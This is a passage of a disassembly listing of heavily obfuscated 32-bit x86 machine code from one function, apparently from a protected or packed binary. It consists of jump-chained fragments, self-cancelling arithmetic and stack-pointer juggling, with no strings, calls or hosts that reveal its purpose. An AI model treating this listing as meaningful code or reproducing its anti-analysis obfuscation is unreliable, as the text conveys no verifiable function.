		push	ebp
		jmp	loc_5A0854
; ---------------------------------------------------------------------------


loc_5A2DD7:				; CODE XREF: sub_58A891+1E185j
		pop	ecx
		xchg	ah, dh
		push	eax
		push	edx
		push	ecx
		mov	cl, 6Ch
		jmp	loc_5ACF7E
; ---------------------------------------------------------------------------


loc_5A2DE4:				; CODE XREF: sub_58A891+28043j
		pop	edx
		add	ecx, 6D5F0A8Ah
		jmp	loc_5A0FA2
; ---------------------------------------------------------------------------


loc_5A2DF0:				; CODE XREF: sub_58A891+1778Fj
		push	21D1h
		mov	[esp+46h+var_48+2], ebp
		mov	ebp, 4CA91D30h
		shr	ebp, 5
		jmp	loc_5A3BDC
; ---------------------------------------------------------------------------


loc_5A2E05:				; CODE XREF: sub_58A891+139C8j
		push	70EB35EAh
		pop	esi
		jmp	loc_5AF5DF
; ---------------------------------------------------------------------------


loc_5A2E10:				; CODE XREF: sub_58A891+1DC77j
		jmp	loc_5A97AC
; ---------------------------------------------------------------------------


loc_5A2E15:				; CODE XREF: sub_58A891+11852j
		xor	esi, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], esi
		jmp	loc_5B2932
; ---------------------------------------------------------------------------


loc_5A2E20:				; CODE XREF: sub_58A891+16F33j
					; sub_58A891+19AA7j
		add	eax, ecx
		push	[esp+0AEh+var_AE]
		pop	ecx
		jmp	loc_5B1CC7
; ---------------------------------------------------------------------------
		mov	esp, [esp+0AEh+var_AE]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2E33:				; CODE XREF: sub_58A891+1C89Dj
		sub	ebp, ebx
		jmp	loc_5A7957
; ---------------------------------------------------------------------------


loc_5A2E3A:				; CODE XREF: sub_58A891+1287Cj
		pop	dword ptr [esp+0]
		jmp	loc_5ACC3E
; ---------------------------------------------------------------------------


loc_5A2E42:				; CODE XREF: sub_58A891+1FD7Ej
					; sub_58A891:loc_5B2338j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+96h+var_98+2]
		mov	esp, [esp+96h+var_98+2]
		mov	[esp+96h+var_98+2], eax
		jmp	loc_5A5E3A
; ---------------------------------------------------------------------------


loc_5A2E5A:				; CODE XREF: sub_58A891+284A5j
		sub	eax, 12E94943h
		jo	loc_5A04C6
		push	ebx
		mov	ebx, 3CC7603Bh
		jmp	loc_5A6C2F
; ---------------------------------------------------------------------------


loc_5A2E70:				; CODE XREF: sub_58A891+144A4j
		mov	ebp, 0B8264Eh
		and	ebp, 490A0BA4h
		xor	ebp, 223B5D97h
		add	eax, 6B7E0E56h
		sub	eax, ebp
		jmp	loc_5AF60E
; ---------------------------------------------------------------------------


loc_5A2E8D:				; CODE XREF: sub_58A891+158E1j
		push	esp
		pop	[esp+92h+var_94+2]
		jmp	loc_5A0144
; ---------------------------------------------------------------------------


loc_5A2E96:				; CODE XREF: sub_58A891+21C47j
		sub	ecx, 332E1278h
		mov	edx, [esp+8Eh+var_90+2]
		add	esp, 4
		add	eax, 688021E7h
		add	eax, ecx
		sub	eax, 688021E7h
		jmp	loc_5A8346
; ---------------------------------------------------------------------------


loc_5A2EB6:				; CODE XREF: sub_58A891+248E5j
		push	ebp
		mov	ebp, 1BE74206h
		add	ebx, ebp
		pop	ebp
		sub	ebx, esi
		sub	ebx, 1BE74206h
		mov	esi, [esp+8Ah+var_8C+2]
		jmp	loc_5AF940
; ---------------------------------------------------------------------------


loc_5A2ECF:				; CODE XREF: sub_58A891+1B019j
		mov	edx, 17EB1DEBh
		push	1777h
		mov	[esp+8Eh+var_90+2], esi
		mov	esi, 357A2136h
		push	edi
		mov	edi, 4AAE0ED3h
		sub	edi, 0DDA9B69h
		jmp	loc_5AC45E
; ---------------------------------------------------------------------------


loc_5A2EF2:				; CODE XREF: sub_58A891+1436Fj
		add	esp, 4
		pop	[esp+8Eh+var_90+2]
		mov	esp, [esp+8Ah+var_8C+2]
		mov	[esp+8Ah+var_8C+2], esi
		push	edx
		push	6FAA2097h
		mov	edx, [esp+92h+var_94+2]
		jmp	loc_5B00EC
; ---------------------------------------------------------------------------
		mov	eax, [esp+92h+var_94+2]
		push	462Fh
		mov	[esp+96h+var_98+2], ecx
		push	esp
		jmp	loc_5A3AD1
; ---------------------------------------------------------------------------


loc_5A2F20:				; CODE XREF: sub_58A891+14E77j
		pop	edi
		sub	esi, ebp
		pop	ebp
		jmp	loc_59F541
; ---------------------------------------------------------------------------


loc_5A2F29:				; CODE XREF: sub_58A891+1DE94j
		add	ebx, 591F60BFh
		mov	eax, ebx
		pop	ebx
		add	[esp+52h+var_50+2], eax
		pop	eax
		jmp	loc_5A4866
; ---------------------------------------------------------------------------


loc_5A2F3C:				; CODE XREF: sub_58A891+14953j
		pop	edx
		or	ebp, edx
		mov	edx, [esp+0E2h+var_E2]
		add	esp, 4
		push	edi
		push	ebx
		push	ecx
		mov	ecx, 3AC266D1h
		push	ecx
		dec	[esp+0EEh+var_F0+2]
		pop	ecx
		jmp	loc_59C4E7
; ---------------------------------------------------------------------------


loc_5A2F57:				; CODE XREF: sub_58A891+1A685j
		xchg	eax, [esp+0EAh+var_EC+2]
		mov	esp, [esp+0EAh+var_EC+2]
		idiv	cl
		movzx	cx, ah
		push	ecx
		push	esp
		pop	ecx
		push	4647h
		mov	[esp+0F2h+var_F4+2], ebp
		push	493B21FDh
		jmp	loc_59CF32
; ---------------------------------------------------------------------------


loc_5A2F78:				; CODE XREF: sub_58A891+232A5j
		pop	esi
		push	edx
		jmp	loc_5AD823
; ---------------------------------------------------------------------------


loc_5A2F7F:				; CODE XREF: sub_58A891+13C98j
					; sub_58A891+1645Bj
		mov	eax, [esp+42h+var_44+2]
		add	esp, 4
		sub	ebx, 8FA397D3h
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2F93:				; CODE XREF: sub_58A891+1C089j
					; sub_58A891+1CC62j
		sub	esi, 40380877h
		pop	ebx
		xchg	esi, [esp+3Ah+var_3C+2]
		pop	esp
		mov	word ptr [esp+36h+var_38+2], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2FA7:				; CODE XREF: sub_58A891+28138j
		jmp	loc_59F573
; ---------------------------------------------------------------------------


loc_5A2FAC:				; CODE XREF: sub_58A891+20708j
		sub	ebx, 6E18235Ah
		push	[esp+36h+var_38+2]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], eax
		push	[esp+3Eh+var_3C+2]
		mov	eax, [esp+42h+var_44+2]
		add	esp, 4
		pop	[esp+3Eh+var_40+2]
		jmp	loc_5AF6DD
; ---------------------------------------------------------------------------


loc_5A2FD9:				; CODE XREF: sub_58A891+19135j
		mov	[esp+3Ah+var_3C+2], eax
		mov	eax, edi
		mov	ebx, eax
		pop	eax
		pop	edi
		inc	ebx
		add	ebx, 0AD7395Fh
		shr	ebx, 8
		shr	ebx, 7
		add	ebx, 47913B1Eh
		jmp	loc_5A1585
; ---------------------------------------------------------------------------


loc_5A2FFA:				; CODE XREF: sub_58A891+11F2Aj
		inc	ebx
		shr	ebx, 5
		xor	ebx, 1382520Fh
		add	ebx, 3A55D8A2h
		jmp	loc_59D112
; ---------------------------------------------------------------------------


loc_5A300F:				; CODE XREF: sub_58A891+1E359j
		add	esp, 4
		add	esp, 4
		push	[esp+86h+var_88+2]
		push	[esp+8Ah+var_8C+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5B181E
; ---------------------------------------------------------------------------


loc_5A302A:				; CODE XREF: sub_58A891+136B7j
		add	esi, 4
		add	esi, 4
		jmp	loc_59F8B0
; ---------------------------------------------------------------------------
		neg	[esp+0B2h+var_B2]
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A3041:				; CODE XREF: sub_58A891+28292j
		push	ebx
		mov	ebx, 39770181h
		shr	ebx, 3
		add	ebx, 0F8D11FD4h
		add	esi, ebx
		pop	ebx
		jmp	loc_5AA3CA
; ---------------------------------------------------------------------------


loc_5A3058:				; CODE XREF: sub_58A891+11A6Fj
		pop	ebx
		sub	edi, 69FD4D0Bh
		jmp	loc_59F28D
; ---------------------------------------------------------------------------


loc_5A3064:				; CODE XREF: sub_58A891+1F6BFj
		not	ebx
		sub	ebx, 7F80EB55h
		mov	edx, 9D085821h
		jmp	loc_5AF6D5
; ---------------------------------------------------------------------------


loc_5A3076:				; CODE XREF: sub_58A891+24DB1j
		add	ebp, 4
		push	ebp
		push	[esp+6+var_4+2]
		pop	ebp
		pop	[esp+6+var_8+2]
		jmp	loc_5A118E
; ---------------------------------------------------------------------------


loc_5A3087:				; CODE XREF: sub_58A891+18203j
		add	esp, 4
		add	eax, ebx
		jmp	loc_5B2FBF
; ---------------------------------------------------------------------------


loc_5A3094:				; CODE XREF: sub_58A891+19A1Aj
		add	eax, edi
		push	dword ptr [eax]
		push	6839h
		mov	[esp+0B6h+var_B6], eax
		jmp	loc_5B098F
; ---------------------------------------------------------------------------


loc_5A30A5:				; CODE XREF: sub_58A891+259D0j
		sub	esp, 4
		mov	[esp+0BAh+var_BA], eax
		mov	eax, 4EBF20CEh
		jmp	loc_5A607A
; ---------------------------------------------------------------------------


loc_5A30B5:				; CODE XREF: sub_58A891+11AACj
		or	esi, edx
		pop	edx
		neg	esi
		sub	esi, 480F4960h
		sub	edx, 25E9283Dh
		sub	edx, 416F592Fh
		sub	edx, 0ADE67F4h
		sub	edx, esi
		add	edx, 0ADE67F4h
		add	edx, 416F592Fh
		add	edx, 25E9283Dh
		mov	esi, [esp+6+var_8+2]
		jmp	loc_59CAD1
; ---------------------------------------------------------------------------


loc_5A30EE:				; CODE XREF: sub_58A891+174F8j
					; sub_58A891+1852Ej
		add	ebx, 2F456CC8h
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	ebx, ecx
		sub	ebx, 586855B7h
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		jmp	loc_59D4A3
; ---------------------------------------------------------------------------


loc_5A3116:				; CODE XREF: sub_58A891+25297j
		add	edi, ebx
		pop	ebx
		jmp	loc_5AD9CC
; ---------------------------------------------------------------------------


loc_5A311E:				; CODE XREF: sub_58A891+19756j
		inc	ecx
		not	ecx
		dec	ecx
		jmp	loc_5A6763
; ---------------------------------------------------------------------------


loc_5A3127:				; CODE XREF: sub_58A891+173CFj
		sub	esp, 4
		mov	[esp+56h+var_58+2], edx
		push	ebx
		pop	edx
		jmp	loc_5A5DC5
; ---------------------------------------------------------------------------


loc_5A3137:				; CODE XREF: sub_58A891+27721j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+56h+var_58+2]
		pop	esp
		mov	[esp+52h+var_54+2], edx
		mov	edx, 2
		sub	ecx, 2AF55C49h
		sub	ecx, 1B9E792Bh
		add	ecx, edx
		add	ecx, 1B9E792Bh
		add	ecx, 2AF55C49h
		jmp	loc_59C172
; ---------------------------------------------------------------------------


loc_5A316B:				; CODE XREF: sub_58A891+2048Bj
		mov	ecx, [esp+52h+var_54+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A3512
; ---------------------------------------------------------------------------


loc_5A3176:				; CODE XREF: sub_58A891+1EC82j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+52h+var_54+2]
		jmp	loc_59D6E3
; ---------------------------------------------------------------------------


loc_5A318B:				; CODE XREF: sub_58A891+141F5j
					; sub_58A891+145DBj
		sub	ecx, 0D3BF7Ah
		add	ebx, 3486201Bh
		jmp	loc_5A787A
; ---------------------------------------------------------------------------


loc_5A319C:				; CODE XREF: sub_58A891+25F8Aj
		mov	eax, esp
		jmp	loc_5AAF89
; ---------------------------------------------------------------------------


loc_5A31A3:				; CODE XREF: sub_58A891+20985j
		mov	ebx, 2BCC6EE7h
		xor	ebx, 250C555Eh
		push	edx
		mov	edx, 65BB201Bh
		inc	edx
		neg	edx
		sub	edx, 75CA6BD8h
		inc	edx
		or	edx, 550C0E8Bh
		push	edi
		jmp	loc_5AD1EF
; ---------------------------------------------------------------------------


loc_5A31CA:				; CODE XREF: sub_58A891+17201j
		mov	di, word ptr [esp+0F6h+var_F8+2]
		jmp	loc_5A6589
; ---------------------------------------------------------------------------


loc_5A31D3:				; CODE XREF: sub_58A891+214DEj
		sub	esp, 4
		mov	[esp+0FAh+var_FC+2], edx
		xchg	eax, [esp+0FAh+var_FC+2]
		not	eax
		xor	[esp+0FAh+var_FC+2], eax
		xor	eax, [esp+0FAh+var_FC+2]
		jmp	loc_5ADEC9
; ---------------------------------------------------------------------------


loc_5A31E9:				; CODE XREF: sub_58A891+25856j
		mov	edx, [esp+0FAh+var_FC+2]
		jmp	loc_5AFAF9
; ---------------------------------------------------------------------------


loc_5A31F1:				; CODE XREF: sub_58A891+156C7j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4Ah+var_4C+2]
		pop	esp
		jmp	loc_5AA8D0
; ---------------------------------------------------------------------------


loc_5A3206:				; CODE XREF: sub_58A891+16992j
		add	bl, 1
		push	cx
		mov	ch, 16h
		xor	bl, ch
		pop	cx
		push	eax
		mov	ah, 0D9h
		push	ecx
		push	ebx
		mov	bh, 4Ch
		push	ecx
		mov	cl, 0F6h
		or	cl, 83h
		sub	cl, 0A3h
		add	cl, 0FFh
		jmp	loc_5A06B2
; ---------------------------------------------------------------------------


loc_5A3229:				; CODE XREF: sub_58A891+1F64Ej
		sub	edx, 0DBF07105h
		jmp	loc_5B2277
; ---------------------------------------------------------------------------


loc_5A3234:				; CODE XREF: sub_58A891+24289j
		mov	[esp+74h+var_74], ebx
		jmp	loc_5A8C56
; ---------------------------------------------------------------------------


loc_5A323C:				; CODE XREF: sub_58A891+1D1ACj
		pop	esp
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_5A5AE8
; ---------------------------------------------------------------------------


loc_5A3246:				; CODE XREF: sub_58A891+25828j
		sub	esi, 9C274550h
		mov	edi, esi
		mov	esi, [esp+78h+var_78]
		jmp	loc_5ABDEB
; ---------------------------------------------------------------------------


loc_5A3256:				; CODE XREF: sub_58A891+20948j
		pop	edx
		push	edi
		mov	edi, 716D1844h
		sub	edi, 89F14B5h
		xor	eax, edi
		mov	edi, [esp+78h+var_78]
		add	esp, 4
		jmp	loc_5ADDE4
; ---------------------------------------------------------------------------


loc_5A3270:				; CODE XREF: sub_58A891+167A9j
		push	273Bh
		mov	[esp+1Ah+var_1C+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 5B4B4344h
		dec	edi
		jmp	loc_59CEF2
; ---------------------------------------------------------------------------


loc_5A328C:				; CODE XREF: sub_58A891+26493j
		pop	edi
		xchg	eax, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5A5A4F
; ---------------------------------------------------------------------------


loc_5A3296:				; CODE XREF: sub_58A891+15F3Aj
		push	edx
		push	3B7611EBh
		pop	edx
		not	edx
		inc	edx
		jmp	loc_5AD63E
; ---------------------------------------------------------------------------


loc_5A32A5:				; CODE XREF: sub_58A891+18B5Fj
		mov	ecx, esi
		push	ecx
		add	[esp+0Ah+var_C+2], 7A745167h
		pop	edx
		jmp	loc_5AB731
; ---------------------------------------------------------------------------


loc_5A32B5:				; CODE XREF: sub_58A891+1B30Dj
					; sub_58A891+1D715j
		push	edi
		jmp	loc_59FE87
; ---------------------------------------------------------------------------


loc_5A32BB:				; CODE XREF: sub_58A891+2699Ej
		mov	ch, 54h
		jmp	loc_5A9949
; ---------------------------------------------------------------------------


loc_5A32C2:				; CODE XREF: sub_58A891+1180Cj
		push	esi
		mov	esi, 3B97142Ah
		jmp	loc_5AD07C
; ---------------------------------------------------------------------------


loc_5A32CD:				; CODE XREF: sub_58A891+18A5Cj
					; sub_58A891+1968Fj
		and	eax, ebx
		push	[esp+36h+var_38+2]
		mov	ebx, [esp+3Ah+var_3C+2]
		jmp	loc_5A79FB
; ---------------------------------------------------------------------------


loc_5A32DA:				; CODE XREF: sub_58A891+1D6E2j
		xor	ebx, [esp+3Ah+var_3C+2]
		mov	esp, [esp+3Ah+var_3C+2]
		push	0E33h
		mov	[esp+3Eh+var_40+2], ebx
		mov	ebx, 1
		jmp	loc_5A32CD
; ---------------------------------------------------------------------------


loc_5A32F2:				; CODE XREF: sub_58A891+14545j
		push	ebx
		jmp	loc_59E7FA
; ---------------------------------------------------------------------------


loc_5A32F8:				; CODE XREF: sub_58A891+11945j
		inc	eax
		shl	eax, 7
		push	77D4h
		mov	[esp+1Eh+var_20+2], esi
		jmp	loc_5AA586
; ---------------------------------------------------------------------------


loc_5A3309:				; CODE XREF: sub_58A891+25CE3j
		pop	ebp
		sub	edx, 6EEA5950h
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_5AA614
; ---------------------------------------------------------------------------


loc_5A331E:				; CODE XREF: sub_58A891+25735j
		add	esp, 4
		jmp	loc_59DF9B
; ---------------------------------------------------------------------------


loc_5A3329:				; CODE XREF: sub_58A891+27B50j
		xchg	ebx, edx
		sub	ebx, 1
		jmp	loc_59E8EF
; ---------------------------------------------------------------------------


loc_5A3336:				; CODE XREF: sub_58A891+1AC6Fj
		mov	esi, 2C8425C2h
		sub	[esp+12h+var_C+2], esi
		pop	esi
		add	[esp+0Eh+var_C+2], edx
		add	[esp+0Eh+var_C+2], 2C8425C2h
		jmp	loc_5AC85A
; ---------------------------------------------------------------------------


loc_5A3351:				; CODE XREF: sub_58A891+24620j
		inc	ebp
		jmp	loc_5B2B4A
; ---------------------------------------------------------------------------


loc_5A3357:				; CODE XREF: sub_58A891+25849j
		push	2D164ED6h
		pop	edx
		jmp	loc_5AFD25
; ---------------------------------------------------------------------------


loc_5A3362:				; CODE XREF: sub_58A891+27D97j
		neg	ebx
		jbe	loc_5A1550
		sub	ebx, 933785B9h
		shr	ebx, 6
		push	edx


loc_5A3374:				; CODE XREF: sub_58A891+23FEAj
		mov	ah, bl
		mov	ebx, [esp+12h+var_14+2]
		add	esp, 4
		mov	bh, 65h
		xor	bh, ah
		pop	eax
		shr	bh, 1
		push	ecx
		mov	cl, 0A6h
		jmp	loc_5AD44F
; ---------------------------------------------------------------------------


loc_5A338B:				; CODE XREF: sub_58A891+1E701j
		push	edx
		mov	edx, 58FE1976h
		xor	edx, 4D422B2Fh
		shr	edx, 5
		jmp	loc_5A8B19
; ---------------------------------------------------------------------------


loc_5A339F:				; CODE XREF: sub_58A891+19373j
					; sub_58A891:loc_5AB901j
		mov	[esp+12h+var_14+2], esp
		jmp	loc_5A3C20
; ---------------------------------------------------------------------------


loc_5A33A7:				; CODE XREF: sub_58A891+18C9Ej
		add	ebx, 32E1BF7h
		sub	ebx, ecx
		sub	ebx, 32E1BF7h
		push	eax
		mov	eax, 120D3D69h
		xor	eax, 42C10D0Fh
		and	eax, 5B1230FAh
		and	eax, 23B04291h
		jmp	loc_5A41F0
; ---------------------------------------------------------------------------


loc_5A33CF:				; CODE XREF: sub_58A891+1409Aj
		sub	edx, 198651Ah
		sub	edx, ecx
		add	edx, 198651Ah
		pop	ecx
		jmp	loc_5A73E6
; ---------------------------------------------------------------------------


loc_5A33E3:				; CODE XREF: sub_58A891+1372Fj
		mov	esi, 5C951A77h
		push	671h
		mov	[esp+0C8h+var_CA+2], ecx
		jmp	loc_5A32A5
; ---------------------------------------------------------------------------


loc_5A33F5:				; CODE XREF: sub_58A891+1B392j
		xchg	ebx, [esp+0C8h+var_CA+2]
		jmp	loc_5AF6A2
; ---------------------------------------------------------------------------


loc_5A33FD:				; CODE XREF: sub_58A891+16B90j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		jmp	loc_5A00FF
; ---------------------------------------------------------------------------


loc_5A3411:				; CODE XREF: sub_58A891+1E5B1j
		mov	[esp+2Eh+var_30+2], ebx
		push	4
		push	[esp+32h+var_34+2]
		mov	ebx, [esp+36h+var_38+2]
		push	edx
		jmp	loc_5A9F07
; ---------------------------------------------------------------------------


loc_5A3425:				; CODE XREF: sub_58A891+1AC7Bj
		add	al, bh
		pop	ebx
		jmp	loc_5ADAA6
; ---------------------------------------------------------------------------


loc_5A342D:				; CODE XREF: sub_58A891+1ACACj
		mov	edx, 77DF62EAh
		xor	ecx, edx
		jmp	loc_5A1D66
; ---------------------------------------------------------------------------


loc_5A3439:				; CODE XREF: sub_58A891+117D9j
		pop	[esp+3Ah+var_3C+2]
		mov	esp, [esp+36h+var_38+2]
		push	esi
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], ebx
		mov	ebx, 24574E03h
		push	242h
		mov	[esp+42h+var_44+2], ecx
		mov	ecx, 6B9531B8h
		mov	esi, 8DEB9AE8h
		sub	esi, ecx
		pop	ecx
		xor	esi, ebx
		jmp	loc_5ABB84
; ---------------------------------------------------------------------------


loc_5A3467:				; CODE XREF: sub_58A891+18F33j
		push	edx
		jmp	loc_5A7200
; ---------------------------------------------------------------------------


loc_5A346D:				; CODE XREF: sub_58A891+20933j
		and	ebx, 77572C70h
		xor	ebx, 4D2E5BEBh
		add	edi, ebx
		pop	ebx
		pop	edx
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp+3Eh+var_40+2]
		add	esp, 4
		push	edi
		push	[esp+3Eh+var_3C+2]
		pop	edi
		jmp	loc_5AA6ED
; ---------------------------------------------------------------------------


loc_5A3496:				; CODE XREF: sub_58A891+1CAD7j
		push	ecx
		jmp	loc_5A09A2
; ---------------------------------------------------------------------------


loc_5A349C:				; CODE XREF: sub_58A891+1F81Aj
		pop	eax
		push	3C8Ah
		mov	[esp+42h+var_44+2], ebx
		mov	ebx, 39003E18h
		push	ebx
		dec	[esp+46h+var_48+2]
		pop	ebx
		jmp	loc_5B21FB
; ---------------------------------------------------------------------------


loc_5A34B4:				; CODE XREF: sub_58A891+19E54j
		add	ebp, 1D567676h
		and	ebp, 23C361F7h
		or	ebp, 7FD3E30h
		add	ebp, 36CE282Ah
		add	edx, 65F71571h
		sub	edx, ebp
		sub	edx, 65F71571h
		pop	ebp
		jmp	loc_5AF8C8
; ---------------------------------------------------------------------------


loc_5A34E0:				; CODE XREF: sub_58A891+206C1j
		push	edi
		push	esp
		pop	edi
		jmp	loc_59F088
; ---------------------------------------------------------------------------


loc_5A34E8:				; CODE XREF: sub_58A891+17025j
		mov	cl, 83h
		jmp	loc_5B05EF
; ---------------------------------------------------------------------------


loc_5A34EF:				; CODE XREF: sub_58A891+1708Cj
					; sub_58A891+23C21j
		mov	edi, [esp+52h+var_54+2]
		jmp	loc_5AF647
; ---------------------------------------------------------------------------


loc_5A34F7:				; CODE XREF: sub_58A891+21934j
		add	ah, ch
		pop	ecx
		push	small 7EB9h
		mov	word ptr [esp+50h+var_50], bx
		mov	bh, 7Ah
		sub	ah, bh
		jmp	loc_59C6A6
; ---------------------------------------------------------------------------


loc_5A350B:				; CODE XREF: sub_58A891+1E443j
		add	eax, ecx
		jmp	loc_5AFE01
; ---------------------------------------------------------------------------


loc_5A3512:				; CODE XREF: sub_58A891+188E0j
		push	ebx
		mov	ebx, 42727BF9h
		sub	ebx, 42727BF5h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+56h+var_58+2]
		pop	esp
		pop	esi
		sub	ebx, 44503EF8h
		jmp	loc_5A33A7
; ---------------------------------------------------------------------------


loc_5A3534:				; CODE XREF: sub_58A891+2178Bj
		sub	ah, dl
		pop	edx
		sub	ah, 6Ah
		add	ah, 39h
		sub	ah, 0FFh
		sub	ah, 0E9h
		jmp	loc_5B01AA
; ---------------------------------------------------------------------------


loc_5A3548:				; CODE XREF: sub_58A891+26E32j
		sub	ebx, 0E883941Ch
		jmp	loc_5ABF8C
; ---------------------------------------------------------------------------


loc_5A3553:				; CODE XREF: sub_58A891+1CACFj
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], edx
		jmp	loc_5B180A
; ---------------------------------------------------------------------------


loc_5A3561:				; CODE XREF: sub_58A891+26203j
		sub	edi, edx
		pop	edx
		add	edi, eax
		add	edi, 646F35DEh
		mov	eax, [esp+4Ah+var_4C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], eax
		mov	eax, 736E3816h
		add	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], ebp
		push	ecx
		mov	ecx, 18F343BCh
		jmp	loc_5A3BA2
; ---------------------------------------------------------------------------


loc_5A3591:				; CODE XREF: sub_58A891+28029j
		sub	esp, 4
		mov	[esp+52h+var_54+2], ecx
		jmp	loc_5AE982
; ---------------------------------------------------------------------------


loc_5A359C:				; CODE XREF: sub_58A891+26731j
		add	edx, 246736CBh
		add	edx, ecx
		sub	edx, 246736CBh
		add	edx, 2ABF3C63h
		pop	ecx
		jmp	loc_5AB0BA
; ---------------------------------------------------------------------------


loc_5A35B6:				; CODE XREF: sub_58A891+1C26Fj
		push	[esp+4Eh+var_4C+2]
		push	[esp+52h+var_54+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5B2115
; ---------------------------------------------------------------------------


loc_5A35C9:				; CODE XREF: sub_58A891+1AE0Ej
		sub	ebp, ebx
		pop	ebx
		add	ebp, esi
		add	ebp, 2D331406h
		pop	esi
		push	ecx
		jmp	loc_59D540
; ---------------------------------------------------------------------------


loc_5A35DB:				; CODE XREF: sub_58A891+171D9j
		add	eax, ebp
		mov	ebp, [esp+0FAh+var_FC+2]
		add	esp, 4
		xor	eax, [esp+0F6h+var_F8+2]
		xor	[esp+0F6h+var_F8+2], eax
		xor	eax, [esp+0F6h+var_F8+2]
		jmp	loc_5B18E1
; ---------------------------------------------------------------------------


loc_5A35F1:				; CODE XREF: sub_58A891+1C87Fj
		add	eax, edx
		pop	edx
		xchg	eax, [esp+0F2h+var_F4+2]
		mov	esp, [esp+0F2h+var_F4+2]
		sub	ebx, 0C8093FEh
		sub	eax, ebx
		mov	ebx, [esp+0F2h+var_F4+2]
		add	esp, 4
		sub	ebx, 63207002h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5AA1B6
; ---------------------------------------------------------------------------


loc_5A3625:				; CODE XREF: sub_58A891+16565j
		mov	word ptr [esp+54h+var_54], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A362E:				; CODE XREF: sub_58A891+1F11Cj
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+54h+var_54]
		pop	esp
		jmp	loc_5A502F
; ---------------------------------------------------------------------------


loc_5A3648:				; CODE XREF: sub_58A891+136DCj
		add	edi, edx
		jmp	loc_5AF4FF
; ---------------------------------------------------------------------------


loc_5A364F:				; CODE XREF: sub_58A891+26817j
		sub	esp, 4
		mov	[esp+0B4h+var_B6+2], ecx
		push	ebx
		mov	bl, 6Fh
		mov	cl, bl
		jmp	loc_5AD46A
; ---------------------------------------------------------------------------


loc_5A3662:				; CODE XREF: sub_58A891+279D0j
		mov	[esp+0B8h+var_BA+2], eax
		push	edx
		jmp	loc_5B2282
; ---------------------------------------------------------------------------


loc_5A366B:				; CODE XREF: sub_58A891+1E0D3j
					; sub_58A891+229E1j ...
		push	ebp
		push	edi
		jmp	loc_59F1D6
; ---------------------------------------------------------------------------
		push	ecx
		push	25F27B11h
		mov	ecx, [esp+0CCh+var_CE+2]
		push	edx
		mov	edx, esp
		jmp	loc_5B29F3
; ---------------------------------------------------------------------------


loc_5A3683:				; CODE XREF: sub_58A891+22822j
		push	esp
		pop	edx
		push	57F4h
		mov	[esp+0D4h+var_D6+2], ecx
		mov	ecx, 146F74D5h
		jmp	loc_59ECFB
; ---------------------------------------------------------------------------


loc_5A3697:				; CODE XREF: sub_58A891+14A0Aj
		add	eax, 4
		add	eax, 4
		jmp	loc_5B0DDC
; ---------------------------------------------------------------------------


loc_5A36A4:				; CODE XREF: sub_58A891:loc_5A7807j
		mov	edx, 342367C5h
		push	ecx
		mov	ecx, 14285D38h
		and	edx, ecx
		mov	ecx, [esp+0EEh+var_F0+2]
		jmp	loc_5A0AC8
; ---------------------------------------------------------------------------


loc_5A36B9:				; CODE XREF: sub_58A891:loc_5A4286j
		sub	eax, 12E699BEh
		jmp	loc_5A2638
; ---------------------------------------------------------------------------


loc_5A36C3:				; CODE XREF: sub_58A891+1E2BEj
		mov	eax, [esp+0EEh+var_F0+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5AAEEF
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		sub	esp, 4
		mov	[esp+0FAh+var_FC+2], ebx
		jmp	loc_5AEBE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+0FAh+var_FC+2]
		push	602Eh
		mov	[esp+0FEh+var_100+2], ecx
		push	esp
		jmp	loc_5ADEF0
; ---------------------------------------------------------------------------


loc_5A36FB:				; CODE XREF: sub_58A891+27F3Dj
		not	ah
		xor	ah, 0CBh
		sub	bl, ah
		pop	eax
		jmp	loc_5B1F3C
; ---------------------------------------------------------------------------


loc_5A3708:				; CODE XREF: sub_58A891+1E56Fj
		add	edx, edi
		jmp	loc_59C310
; ---------------------------------------------------------------------------


loc_5A370F:				; CODE XREF: sub_58A891+25DA3j
		xor	edx, 46E58D5Ah
		jmp	loc_5A67CE
; ---------------------------------------------------------------------------


loc_5A371A:				; CODE XREF: sub_58A891+1701Fj
		mov	[esp+22h+var_24+2], edi
		mov	edi, 4
		sub	esp, 4
		mov	[esp+26h+var_28+2], ecx
		mov	ecx, 6F122A4h
		xor	ecx, 6E3C103Ch
		add	eax, ecx
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		jmp	loc_59DBD7
